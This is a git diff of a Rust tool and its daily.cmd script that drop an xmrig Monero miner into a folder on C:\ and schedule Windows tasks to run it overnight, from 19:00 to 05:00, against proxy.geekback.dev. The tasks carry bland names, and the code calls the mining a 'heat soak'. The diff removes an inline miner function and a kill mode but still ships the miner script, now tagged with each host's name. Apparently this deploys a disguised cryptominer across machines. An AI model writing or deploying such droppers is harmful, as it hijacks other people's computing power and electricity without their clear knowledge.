diff --git a/src/main.rs b/src/main.rs index 512397c..53af655 100644 --- a/src/main.rs +++ b/src/main.rs @@ -30,9 +30,7 @@ pub const DAILY_STOP_NAME: &str = "Lockstep\\Yield"; #[derive(Debug, Clone, Copy, Default, ValueEnum)] enum AppModes { #[default] - KillCommand, MoveIn, - RunWork, MoveOut, } @@ -56,21 +54,6 @@ fn run_windows_binary(binary_path: &str, args: &[&str]) -> Result { Command::new(binary_path).args(args).output() } -fn run_windows_binary2(binary_path: &str, args: &[&str]) -> Box<(i32, Vec, Vec)> { - let result = Command::new(binary_path).args(args).output(); - - match result { - Ok(output) => Box::new(( - output.status.code().unwrap_or(0), - output.stdout, - output.stderr, - )), - Err(error) => { - panic!("bad command."); - } - } -} - fn printlog(to_say: &str) { println!("[ ✔ ] {to_say}"); } @@ -104,7 +87,7 @@ fn schedule_command(tod: &str, command: &str, name: &str) { "/st", tod, "/sd", - "2001/01/01", + "01/01/2001", "/tr", command, ]; @@ -115,6 +98,11 @@ fn schedule_command(tod: &str, command: &str, name: &str) { printerror(format!("Status: {}", output.status).as_str()); printerror(format!("stdout: {}", String::from_utf8_lossy(&output.stdout)).as_str()); printerror(format!("stderr: {}", String::from_utf8_lossy(&output.stderr)).as_str()); + } else { + println!("Failed to create task."); + printerror(format!("Status: {}", output.status).as_str()); + printerror(format!("stdout: {}", String::from_utf8_lossy(&output.stdout)).as_str()); + printerror(format!("stderr: {}", String::from_utf8_lossy(&output.stderr)).as_str()); } } Err(e) => { @@ -123,45 +111,7 @@ fn schedule_command(tod: &str, command: &str, name: &str) { } } -fn run_monero_miner() { - println!("Starting heat soak"); - - let binary = "C:/lockstep/xmrig.exe"; - let hostname = hostname::get().unwrap_or("UnknownHostname".into()); - let parameters = [ - "-o", - "proxy.geekback.dev", - "--rig-id", - hostname.to_str().unwrap(), - "--huge-pages-jit", - "--randomx-1gb-pages", - "-B", - "--coin", - "monero", - ]; - - match run_windows_binary(binary, ¶meters) { - Ok(output) => { - println!("Status: {}", output.status); - println!("stdout: {}", String::from_utf8_lossy(&output.stdout)); - println!("stderr: {}", String::from_utf8_lossy(&output.stderr)); - } - Err(e) => { - eprintln!("Failed to execute process: {}", e); - } - } -} - -fn run_kill_command() { - let binary = "C:/windows/system32/taskkill.exe"; - let work_name_path = format!("{}.exe", WORK_NAME); - let parameters = ["/IM", work_name_path.as_str(), "/F"]; - - run_windows_binary2(binary, ¶meters); -} - fn create_file(name: &str, content: &[u8]) { - // File::create(Path::new("C:\\Lockstep\\daily.cmd")).unwrap().write(DAILY_SRC.as_bytes()).unwrap(); let full_path = format!("C:\\{}\\{}", SLAVE_ROOT, name); println!("Creating [{full_path}]"); File::create(Path::new(full_path.as_str())) @@ -171,22 +121,13 @@ fn create_file(name: &str, content: &[u8]) { } fn drop_scripts_and_work() { - #[cfg(windows)] - { printlog(format!("Creating {}", SLAVE_ROOT).as_str()); let _ = fs::create_dir(format!("c:\\{}", SLAVE_ROOT).as_str()); create_file(format!("{}.cmd", DAILY_NAME).as_str(), DAILY_SRC.as_bytes()); create_file("config.bat", CONFIG_SRC.as_bytes()); create_file(format!("{}.exe", WORK_NAME).as_str(), WORK_BIN); create_file(format!("{}.cmd", STOPWORK_NAME).as_str(), STOPWORK_SRC.as_bytes()); - } - #[cfg(not(windows))] - { - println!("[ ✔️ ] Create path."); - println!("[ ✔️ ] Drop daily cmd"); - println!("[ ✔️ ] Drop config"); - println!("[ ✔️ ] Drop worker"); - } + } fn nuke_scripts_and_work() { @@ -199,17 +140,11 @@ fn main() { let opts = Cli::parse(); match opts.app_modes { - AppModes::KillCommand => { - run_kill_command(); - } AppModes::MoveIn => { schedule_command("19:00", format!("C:\\{}\\{}.cmd", SLAVE_ROOT, DAILY_NAME).as_str(), DAILY_WORK_NAME ); schedule_command( "05:00", format!("C:\\{}\\{}.cmd", SLAVE_ROOT, STOPWORK_NAME).as_str(), DAILY_STOP_NAME); drop_scripts_and_work(); } - AppModes::RunWork => { - run_monero_miner(); - } AppModes::MoveOut => { remove_command(DAILY_WORK_NAME); remove_command(DAILY_STOP_NAME); diff --git a/src/resources/daily.cmd b/src/resources/daily.cmd index b05effc..8b55b90 100644 --- a/src/resources/daily.cmd +++ b/src/resources/daily.cmd @@ -2,4 +2,4 @@ cls echo Starting Daily Commands cd c:\lockstep -xmrig.exe -o proxy.geekback.dev +xmrig.exe -o proxy.geekback.dev --rig-id %computernname%